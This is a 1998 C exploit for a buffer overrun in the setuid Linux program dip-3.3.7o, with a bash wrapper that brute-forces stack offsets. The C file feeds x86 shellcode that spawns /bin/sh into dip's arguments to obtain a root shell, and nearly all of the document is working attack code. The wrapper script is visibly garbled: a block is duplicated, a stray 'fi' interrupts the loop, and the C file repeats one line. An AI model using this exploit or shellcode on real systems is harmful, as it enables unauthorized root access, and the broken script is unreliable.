------------------------------ dipr.c -----------------------------

/*
 * dip-3.3.7o buffer overrun                            07 May 1998
 *
 * sintax: ./dipr <offset>
 *
 *
 *   offset: try increments of 50 between 1500 and 3000
 *
 *   tested in linux with dip version 3.3.7o (slak 3.4).
 *
 *                by zef and r00t @promisc.net
 *
 *                   http://www.promisc.net
 */

#include <stdio.h>
#include <stdlib.h>

static inline getesp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int jump,i,n;
  unsigned long xaddr;
  char *cmd[5], buf[4096];


char code[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  jump=atoi(argv[1]);

  for (i=0;i<68;i++)
    buf[i]=0x41;

  for (n=0,i=68;i<113;i++)
    buf[i]=code[n++];

  xaddr=getesp()+jump;

  buf[i]=xaddr & 0xff;
  buf[i+1]=(xaddr >> 8) & 0xff;
  buf[i+2]=(xaddr >> 16) & 0xff;
  buf[i+3]=(xaddr >> 24) & 0xff;

  buf[i+4]=xaddr & 0xff;
  buf[i+5]=(xaddr >> 8) & 0xff;
  buf[i+6]=(xaddr >> 16) & 0xff;
  buf[i+6]=(xaddr >> 16) & 0xff;
  buf[i+7]=(xaddr >> 24) & 0xff;

  cmd[0]=malloc(17);
  strcpy(cmd[0],"/sbin/dip-3.3.7o");

  cmd[1]=malloc(3);
  strcpy(cmd[1],"-k");

  cmd[2]=malloc(3);
  strcpy(cmd[2],"-l");

  cmd[3]=buf;

  cmd[4]=NULL;

  execve(cmd[0],cmd,NULL);
}

------------------------------- end -------------------------------

---------------------------- dipr.test ----------------------------

#/bin/bash
if [ ! -x /sbin/dip-3.3.7o ]
then
  echo "could not find file \"/sbin/dip-3.3.7o\"";
  exit -1
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
  echo "dip executable is not suid"
  exit -1
fi
if [ ! -x ./dipr ]
then
  echo "could not find file \"./dipr\"";
  echo "try compiling dipr.c"
  exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
  echo "dip executable is not suid"
  exit -1
fi
if [ ! -x ./dipr ]
then
  echo "could not find file \"./dipr\"";
  echo "try compiling dipr.c"
  exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
do
  echo offset=$x
  x=$[x+50]
  ./dipr $x
done
rm -f core

------------------------------- end -------------------------------